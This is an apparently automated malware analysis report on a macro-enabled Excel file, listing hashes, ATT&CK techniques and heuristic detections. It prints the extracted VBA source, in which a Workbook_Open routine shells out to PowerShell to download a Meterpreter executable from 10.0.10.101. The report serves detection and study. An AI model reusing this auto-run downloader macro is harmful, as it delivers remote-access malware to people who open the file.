Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a054aa883d650bd2…

MALICIOUS

Office (OOXML)

14.3 KB Created: 2021-09-22 10:27:06 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-01
MD5: 5b0dd84d7f5ff2f5cd60e84e3ea10052 SHA-1: eee1eb34be79b0fb643f9e8b86e80ac707e71ad2 SHA-256: a054aa883d650bd2632e1a6ebc0c2363a5157329d4141755d8c2167b616b0317
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment T1059.001 PowerShell

The sample is an Excel document containing a Workbook_Open VBA macro. This macro executes a PowerShell command to download a file named 'enc_meterpreter.exe' from the IP address 10.0.10.101. The presence of a Workbook_Open macro and a Shell() call strongly indicates malicious intent, likely to deliver a second-stage payload. The PowerShell command used is: powershell (Ner-Object Net.WebClient).DownloadFile('http://10.0.10.101/enc_meterpreter_256.exe',enc_meterpreter.exe).

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://10.0.10.101/enc_meterpreter_256.exe In document text (OOXML body / shared strings)

Related samples 5

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1155 bytes
SHA-256: 6e851a708b79a1383701bcc262722cea70919a4146c066a8fbf2112d5c82299e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
 Dim str As String
 str = "powershell (Ner-Object Net.WebClient).DownloadFile('http://10.0.10.101/enc_meterpreter_256.exe',enc_meterpreter.exe)"
 Application.Wait (Now + TimeValue("0:00:05"))
 Shell (str)
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17408 bytes
SHA-256: b8509db1a84187061e01a5f3b549cc5c821058a3e19cb3df79f2049887ee37af

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